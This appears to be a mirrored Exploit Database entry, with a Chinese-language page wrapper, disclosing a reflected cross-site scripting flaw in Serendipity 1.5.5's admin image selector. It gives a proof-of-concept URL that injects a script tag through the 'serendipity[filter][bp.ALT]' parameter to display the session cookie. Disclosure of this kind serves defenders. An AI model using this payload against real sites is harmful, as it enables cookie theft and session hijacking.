S9Y Serendipity 1.5.5 – ‘serendipity[filter][bp.ALT]’ Cross-Site Scripting

Exploit Database
129 阅读

作者： Stefan Schurtz

日期： 2011-11-03
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/36283/

source: https://www.securityfocus.com/bid/50502/info

Serendipity is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects Serendipity 1.5.5; prior versions may also be affected.

http://www.example.com/serendipity/serendipity_admin_image_selector.php?serendipity[filter][bp.ALT]=</script><script>alert(document.cookie)</script>&go=+-+Go!+-+

last Exploits
S9Y Serendipity 1.5.5 – ‘serendipity[filter][bp.ALT]’ Cross-Site Scripting的更多信息

PG Social Networking – Arbitrary File Upload：
SugarCRM 6.5.18 – Persistent Cross-Site Scripting：
Simple Web Server 2.3-rc1 – Directory Traversal：
Interscan Web Security 5.0 – Arbitrary File Upload / Privilege Escalation：
Plume CMS 1.2.4 – Cross-Site Request Forgery：
kitForm CRM Extension 0.43 – ‘sorter.ph?sorter_value’ SQL Injection：
FreePBX 16 – Remote Code Execution (RCE) (Authenticated)：
copyparty 1.8.2 – Directory Traversal：